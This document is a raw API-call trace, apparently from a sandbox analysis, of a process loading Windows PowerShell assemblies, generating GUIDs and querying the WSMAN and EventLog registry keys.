	[0065.190] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xdd3813fa, Data2=0xe607, Data3=0x4fbd, Data4=([0]=0xa8, [1]=0x32, [2]=0x1d, [3]=0x85, [4]=0x22, [5]=0x12, [6]=0x5d, [7]=0x3c))) returned 0x0
	[0065.190] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x82686f03, Data2=0xe614, Data3=0x4330, Data4=([0]=0x8b, [1]=0x9e, [2]=0x58, [3]=0xac, [4]=0xdc, [5]=0xc9, [6]=0xa7, [7]=0x6d))) returned 0x0
	[0065.190] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x79c19d18, Data2=0x3f55, Data3=0x4109, Data4=([0]=0x81, [1]=0x11, [2]=0x37, [3]=0x9e, [4]=0x6a, [5]=0x8, [6]=0x89, [7]=0x50))) returned 0x0
	[0065.190] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xde34a098, Data2=0x4880, Data3=0x469d, Data4=([0]=0x9c, [1]=0xa, [2]=0xa2, [3]=0x39, [4]=0x3f, [5]=0xcf, [6]=0x88, [7]=0x55))) returned 0x0
	[0065.191] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xed2789f3, Data2=0xd9b, Data3=0x4d15, Data4=([0]=0x93, [1]=0x38, [2]=0x80, [3]=0x6f, [4]=0x84, [5]=0x88, [6]=0x2a, [7]=0x79))) returned 0x0
	[0065.191] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x4671c39b, Data2=0xbeae, Data3=0x4fab, Data4=([0]=0xbb, [1]=0x1f, [2]=0xa, [3]=0x84, [4]=0xa5, [5]=0x82, [6]=0xd5, [7]=0xc0))) returned 0x0
	[0065.191] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xc18bf64a, Data2=0x793d, Data3=0x4117, Data4=([0]=0xb4, [1]=0x73, [2]=0xa5, [3]=0xb0, [4]=0x4e, [5]=0x89, [6]=0x93, [7]=0x71))) returned 0x0
	[0065.191] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x9a09c06b, Data2=0x5c0f, Data3=0x4f96, Data4=([0]=0xaa, [1]=0xda, [2]=0xf5, [3]=0x64, [4]=0x14, [5]=0x9d, [6]=0xf3, [7]=0xcd))) returned 0x0
	[0065.192] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xbb6ae2c7, Data2=0x6352, Data3=0x46bb, Data4=([0]=0xb6, [1]=0x3f, [2]=0x5e, [3]=0xab, [4]=0x37, [5]=0xe3, [6]=0x7b, [7]=0xbc))) returned 0x0
	[0065.192] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xc49b17f5, Data2=0x5189, Data3=0x4621, Data4=([0]=0xab, [1]=0x4c, [2]=0xd8, [3]=0xbd, [4]=0xbb, [5]=0x60, [6]=0x52, [7]=0x7c))) returned 0x0
	[0065.192] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x849866ad, Data2=0xd84e, Data3=0x46c1, Data4=([0]=0xbb, [1]=0x2c, [2]=0x60, [3]=0x3c, [4]=0xf, [5]=0xc2, [6]=0x7f, [7]=0x16))) returned 0x0
	[0065.192] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x87ab93cf, Data2=0x6f7c, Data3=0x49fd, Data4=([0]=0x97, [1]=0x38, [2]=0x4d, [3]=0xba, [4]=0x6c, [5]=0xe4, [6]=0xc2, [7]=0x74))) returned 0x0
	[0065.192] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x78ae150, Data2=0xc7df, Data3=0x494a, Data4=([0]=0x88, [1]=0x3e, [2]=0xb5, [3]=0x77, [4]=0x8e, [5]=0xfb, [6]=0xc8, [7]=0xf))) returned 0x0
	[0065.192] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x507b2d65, Data2=0x84dc, Data3=0x446c, Data4=([0]=0x8c, [1]=0x54, [2]=0x4a, [3]=0xec, [4]=0x9e, [5]=0xc2, [6]=0x4b, [7]=0x5e))) returned 0x0
	[0065.193] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xf22f0081, Data2=0x3e74, Data3=0x4d45, Data4=([0]=0xa1, [1]=0x69, [2]=0x9c, [3]=0x8a, [4]=0x8b, [5]=0x5e, [6]=0x9a, [7]=0xfd))) returned 0x0
	[0065.193] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xd7c0a324, Data2=0x5dec, Data3=0x4218, Data4=([0]=0xbd, [1]=0x99, [2]=0xc4, [3]=0x9b, [4]=0x99, [5]=0xda, [6]=0xae, [7]=0xd4))) returned 0x0
	[0065.193] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xd50b2bc4, Data2=0xcdcf, Data3=0x4f56, Data4=([0]=0x95, [1]=0xea, [2]=0x56, [3]=0xa2, [4]=0x82, [5]=0x8d, [6]=0x89, [7]=0x37))) returned 0x0
	[0065.193] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xd873f2c3, Data2=0x6996, Data3=0x4053, Data4=([0]=0x90, [1]=0x94, [2]=0xd, [3]=0x63, [4]=0x29, [5]=0x4c, [6]=0x37, [7]=0xa))) returned 0x0
	[0065.193] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x66d8525, Data2=0x7cb1, Data3=0x45b5, Data4=([0]=0x97, [1]=0xa5, [2]=0xc4, [3]=0xb5, [4]=0xa7, [5]=0x1a, [6]=0x4b, [7]=0x76))) returned 0x0
	[0065.193] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x2f269ac4, Data2=0x6a8b, Data3=0x4e03, Data4=([0]=0xb8, [1]=0xdc, [2]=0xcd, [3]=0x45, [4]=0x6a, [5]=0xe0, [6]=0x1c, [7]=0x60))) returned 0x0
	[0065.195] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x663e8531, Data2=0x9542, Data3=0x4b25, Data4=([0]=0xaf, [1]=0x5a, [2]=0x5a, [3]=0xaa, [4]=0x3b, [5]=0xb1, [6]=0xe0, [7]=0x23))) returned 0x0
	[0065.195] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xa0a0c479, Data2=0xc23c, Data3=0x4cd2, Data4=([0]=0xa2, [1]=0xf8, [2]=0x67, [3]=0x28, [4]=0x6b, [5]=0x3, [6]=0x8d, [7]=0x78))) returned 0x0
	[0065.195] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xad1e7b3b, Data2=0x63d6, Data3=0x402c, Data4=([0]=0x8f, [1]=0x89, [2]=0x5c, [3]=0xcf, [4]=0x72, [5]=0x6c, [6]=0xc0, [7]=0x58))) returned 0x0
	[0065.195] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x95459573, Data2=0x4149, Data3=0x4b32, Data4=([0]=0xa6, [1]=0x69, [2]=0x2b, [3]=0xc3, [4]=0xff, [5]=0x10, [6]=0xc4, [7]=0xed))) returned 0x0
	[0065.196] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xf216b401, Data2=0x93e0, Data3=0x4ae9, Data4=([0]=0x96, [1]=0x59, [2]=0xac, [3]=0x9a, [4]=0x74, [5]=0xdd, [6]=0x56, [7]=0x6a))) returned 0x0
	[0065.196] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xf519a588, Data2=0xcbfd, Data3=0x4d83, Data4=([0]=0x82, [1]=0xdf, [2]=0x7d, [3]=0x6a, [4]=0x84, [5]=0x93, [6]=0xb1, [7]=0xba))) returned 0x0
	[0065.196] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x8033bd33, Data2=0xc1b3, Data3=0x4f58, Data4=([0]=0x9b, [1]=0xfb, [2]=0x1, [3]=0x3f, [4]=0x27, [5]=0x84, [6]=0xcc, [7]=0xa))) returned 0x0
	[0065.196] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xa6cf9ecf, Data2=0x4150, Data3=0x4d07, Data4=([0]=0xb1, [1]=0x53, [2]=0x8b, [3]=0x5d, [4]=0x65, [5]=0x5c, [6]=0x24, [7]=0x8a))) returned 0x0
	[0065.196] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x674509bd, Data2=0xef33, Data3=0x406c, Data4=([0]=0xb9, [1]=0x47, [2]=0xd5, [3]=0x7e, [4]=0xa5, [5]=0xba, [6]=0xf2, [7]=0x78))) returned 0x0
	[0065.197] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xde90133e, Data2=0xee92, Data3=0x4098, Data4=([0]=0x95, [1]=0x7b, [2]=0x45, [3]=0xad, [4]=0xf0, [5]=0xdb, [6]=0xfc, [7]=0x0))) returned 0x0
	[0065.197] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x60fa07df, Data2=0x85f6, Data3=0x4349, Data4=([0]=0x9c, [1]=0xf0, [2]=0xe8, [3]=0x61, [4]=0x6e, [5]=0x6e, [6]=0xfb, [7]=0xe7))) returned 0x0
	[0065.197] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x406f80e1, Data2=0xf012, Data3=0x4193, Data4=([0]=0x9a, [1]=0x30, [2]=0x25, [3]=0xa3, [4]=0xc2, [5]=0xf6, [6]=0x91, [7]=0x62))) returned 0x0
	[0065.197] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xc69d570c, Data2=0xcae8, Data3=0x417d, Data4=([0]=0x9e, [1]=0x34, [2]=0x76, [3]=0x1e, [4]=0x91, [5]=0xb0, [6]=0xd1, [7]=0x37))) returned 0x0
	[0065.197] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xfcf3a1d7, Data2=0xf964, Data3=0x401d, Data4=([0]=0x9b, [1]=0xd3, [2]=0xd8, [3]=0x8e, [4]=0x3e, [5]=0x2b, [6]=0x52, [7]=0x55))) returned 0x0
	[0065.198] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x91b2d952, Data2=0x425f, Data3=0x4b39, Data4=([0]=0x86, [1]=0xf3, [2]=0x9d, [3]=0x8e, [4]=0xc0, [5]=0x42, [6]=0xdb, [7]=0x9c))) returned 0x0
	[0065.200] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xfe64253, Data2=0x3175, Data3=0x4306, Data4=([0]=0xa1, [1]=0x34, [2]=0xa6, [3]=0xda, [4]=0xaf, [5]=0x3f, [6]=0x8c, [7]=0x46))) returned 0x0
	[0065.201] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x65d7c1e2, Data2=0x146f, Data3=0x46bf, Data4=([0]=0x90, [1]=0x8a, [2]=0x69, [3]=0x7, [4]=0x8c, [5]=0x3c, [6]=0xf8, [7]=0xc3))) returned 0x0
	[0065.204] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xc6d9f046, Data2=0x6f40, Data3=0x452d, Data4=([0]=0x85, [1]=0x48, [2]=0x64, [3]=0x11, [4]=0xee, [5]=0xbe, [6]=0x69, [7]=0x9e))) returned 0x0
	[0065.204] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xf5a9bfab, Data2=0x2e8, Data3=0x4d2b, Data4=([0]=0xa0, [1]=0x69, [2]=0x2e, [3]=0x37, [4]=0xdc, [5]=0xe4, [6]=0xe1, [7]=0x9d))) returned 0x0
	[0065.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
	[0065.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
	[0065.226] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.227] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.238] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x14ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0065.239] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x14ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0065.371] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0065.371] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.371] CoTaskMemFree (pv=0x2a7cc0) 
	[0065.372] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0065.372] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.372] CoTaskMemFree (pv=0x2a7cc0) 
	[0065.373] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0065.373] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.373] CoTaskMemFree (pv=0x2a7cc0) 
	[0065.374] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0065.374] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.374] CoTaskMemFree (pv=0x2a7cc0) 
	[0065.384] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.384] CoTaskMemFree (pv=0x2a7cc0) 
	[0065.386] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.386] CoTaskMemFree (pv=0x2a7cc0) 
	[0065.387] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.387] CoTaskMemFree (pv=0x2a7cc0) 
	[0065.392] RegQueryInfoKeyW (in: hKey=0x310, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x14d01c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14d018, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x14d01c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14d018*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.392] CoTaskMemFree (pv=0x0) 
	[0065.392] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.392] RegEnumValueW (in: hKey=0x310, dwIndex=0x0, lpValueName=0x31a000, lpcchValueName=0x14d0c8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x14d0c8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0065.452] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d068 | out: phkResult=0x14d068*=0x314) returned 0x0
	[0065.452] RegQueryInfoKeyW (in: hKey=0x314, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x14cf6c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14cf68, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x14cf6c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14cf68*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.452] CoTaskMemFree (pv=0x0) 
	[0065.452] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.452] RegEnumValueW (in: hKey=0x314, dwIndex=0x0, lpValueName=0x31a000, lpcchValueName=0x14d018, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x14d018, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0065.452] CoTaskMemFree (pv=0x31a000) 
	[0065.452] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.452] RegEnumValueW (in: hKey=0x314, dwIndex=0x1, lpValueName=0x31a000, lpcchValueName=0x14d018, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x14d018, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0065.452] CoTaskMemFree (pv=0x31a000) 
	[0065.452] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.452] RegEnumValueW (in: hKey=0x314, dwIndex=0x2, lpValueName=0x31a000, lpcchValueName=0x14d018, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x14d018, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0065.453] CoTaskMemFree (pv=0x31a000) 
	[0065.453] RegQueryValueExW (in: hKey=0x314, lpValueName="StackVersion", lpReserved=0x0, lpType=0x14cffc, lpData=0x0, lpcbData=0x14cff8*=0x0 | out: lpType=0x14cffc*=0x1, lpData=0x0, lpcbData=0x14cff8*=0x8) returned 0x0
	[0065.453] CoTaskMemAlloc (cb=0xc) returned 0x283c810
	[0065.453] RegQueryValueExW (in: hKey=0x314, lpValueName="StackVersion", lpReserved=0x0, lpType=0x14cfcc, lpData=0x283c810, lpcbData=0x14cfc8*=0x8 | out: lpType=0x14cfcc*=0x1, lpData="2.0", lpcbData=0x14cfc8*=0x8) returned 0x0
	[0065.453] CoTaskMemFree (pv=0x283c810) 
	[0065.454] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0065.454] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.454] CoTaskMemFree (pv=0x2a7cc0) 
	[0065.459] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0065.459] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0065.459] CoTaskMemFree (pv=0x2a7cc0) 
	[0065.469] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d098 | out: phkResult=0x14d098*=0x318) returned 0x0
	[0065.471] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.471] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x0, lpName=0x31a000, lpcchName=0x14d098, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x14d098, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.489] CoTaskMemAlloc (cb=0x804) returned 0x28cd1d0
	[0065.489] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x28cd1d0, nSize=0x14d308 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x14d308) returned 0x1
	[0065.490] CoTaskMemFree (pv=0x28cd1d0) 
	[0065.491] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.491] GetUserNameW (in: lpBuffer=0x31a000, pcbBuffer=0x14d348 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14d348) returned 1
	[0065.491] CoTaskMemFree (pv=0x31a000) 
	[0065.565] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d048 | out: phkResult=0x14d048*=0x360) returned 0x0
	[0065.565] RegQueryInfoKeyW (in: hKey=0x360, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x14cfbc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14cfb8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x14cfbc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14cfb8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.565] CoTaskMemFree (pv=0x0) 
	[0065.565] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.565] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x0, lpName=0x31a000, lpcchName=0x14d048, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x14d048, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.565] CoTaskMemFree (pv=0x31a000) 
	[0065.565] CoTaskMemFree (pv=0x0) 
	[0065.565] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.566] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x1, lpName=0x31a000, lpcchName=0x14d048, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x14d048, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.566] CoTaskMemFree (pv=0x31a000) 
	[0065.566] CoTaskMemFree (pv=0x0) 
	[0065.566] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.566] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x2, lpName=0x31a000, lpcchName=0x14d048, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x14d048, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.566] CoTaskMemFree (pv=0x31a000) 
	[0065.566] CoTaskMemFree (pv=0x0) 
	[0065.566] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.566] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x3, lpName=0x31a000, lpcchName=0x14d048, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x14d048, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.566] CoTaskMemFree (pv=0x31a000) 
	[0065.566] CoTaskMemFree (pv=0x0) 
	[0065.566] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.566] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x4, lpName=0x31a000, lpcchName=0x14d048, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x14d048, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.566] CoTaskMemFree (pv=0x31a000) 
	[0065.566] CoTaskMemFree (pv=0x0) 
	[0065.566] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.566] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x5, lpName=0x31a000, lpcchName=0x14d048, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x14d048, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.566] CoTaskMemFree (pv=0x31a000) 
	[0065.566] CoTaskMemFree (pv=0x0) 
	[0065.566] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.566] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x6, lpName=0x31a000, lpcchName=0x14d048, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x14d048, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.566] CoTaskMemFree (pv=0x31a000) 
	[0065.566] CoTaskMemFree (pv=0x0) 
	[0065.566] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.566] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x7, lpName=0x31a000, lpcchName=0x14d048, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x14d048, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.566] CoTaskMemFree (pv=0x31a000) 
	[0065.566] CoTaskMemFree (pv=0x0) 
	[0065.566] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0065.566] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x8, lpName=0x31a000, lpcchName=0x14d048, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x14d048, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0065.566] CoTaskMemFree (pv=0x31a000) 
	[0065.566] CoTaskMemFree (pv=0x0) 
	[0065.566] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x364) returned 0x0
	[0065.566] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x0) returned 0x2
	[0065.567] RegOpenKeyExW (in: hKey=0x360, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x368) returned 0x0
	[0065.567] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x0) returned 0x2
	[0065.567] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x36c) returned 0x0
	[0065.567] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d0a8 | out: phkResult=0x14d0a8*=0x0) returned 0x2
